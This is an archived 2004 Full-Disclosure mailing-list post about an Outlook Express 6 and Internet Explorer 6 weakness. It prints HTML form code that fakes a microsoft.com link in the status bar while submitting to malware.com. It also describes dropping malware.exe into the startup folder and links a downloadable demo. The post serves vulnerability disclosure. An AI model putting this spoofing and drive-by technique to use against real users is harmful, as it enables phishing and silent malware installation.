lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <200403311805.i2VI5ctM019326@web127.megawebservers.com>
From: 1 at malware.com (http-equiv@...ite.com)
Subject: NOT GOOD:  Outlook Express 6 + Internet Explorer 6


Wednesday, March 31, 2004

This is somewhat disconcerting. Reference the recently disclosed 
Internet Explorer 'bug' presently in the wild [original 
discussion: http://www.securityfocus.com/archive/1/358813 with 
additional input buried thereunder in subsequent threads] 
allowing for complete remote compromise of the client machine 
without any user interaction other than viewing a webpage, 
through yet again, the Microsoft Internet Explorer browser. 

A lot of 'chatter' or very bold claims 'having been the first to 
see this and analyse it' seem to have appeared recently that 
would make this particular bug well known for at least 6 weeks 
now. We must assume that these claimants had immediately 
notified the manufacturer of this particular device that allows 
for all of this immediately back then. Accordingly 6 weeks have 
transpired and to date all users of this particular merchant's 
product remain vulnerable.

It still remains "unpatched". 

Perhaps to speed things up, the introduction of the Outlook 
Express email client from the same merchant might be necessary:

Commence:

Outlook Express number 6 has fairly stringent security settings 
in default mode, most notable, setting all actions in the so-
called 'restricted zone'. This disallows such things as frames, 
scripting, objects etc. 

However it does allow from one interesting piece of html

Forms:

<A
href="http://www.microsoft.com">
<FORM action=http://www.malware.com/t-bill.html method=get>
<INPUT style="BORDER-RIGHT: 0pt;
BORDER-TOP: 0pt; FONT-SIZE: 10pt; BORDER-LEFT: 0pt; CURSOR: 
hand; COLOR:
blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR: transparent;
TEXT-DECORATION: underline" type=submit 
value=http://www.microsoft.com>
</A>

What is of particular interest is that if we encase our html 
form with a run-of-the-mill 'link', we are able to spoof in our 
status bar our true destination:

[screen shot: http://www.malware.com/not-good.png 24KB]

as well as re-style our form to suit our needs.

What we then do is construct our original functional demo to:

a) redirect immediately on loading to the 'suggested' address; 
that is http://www.microsoft.com
b) at that instance [prior], drop our malware.exe into our 
startup folder for execution the next day

while the recipient is blissfully unaware viewing the site as 
indicated.

Fully Functional Harmless Demo:

http://www.malware.com/not-so-good.zip

note: regardless of where this is viewed, it is governed by 
the 'restricted zone' at all times

In this particular demo, we drop malware.exe into C: trivial 
tweaking via shell or full path places it wherever we like. This 
fully functional demo is heavily diluted. Practical 
implementation requires minor modifications on the 
transmitting client side. This demo will be flagged by AV suites 
owing to past usage and recognisable code.


End Call


-- 
http://www.malware.com







Powered by blists - more mailing lists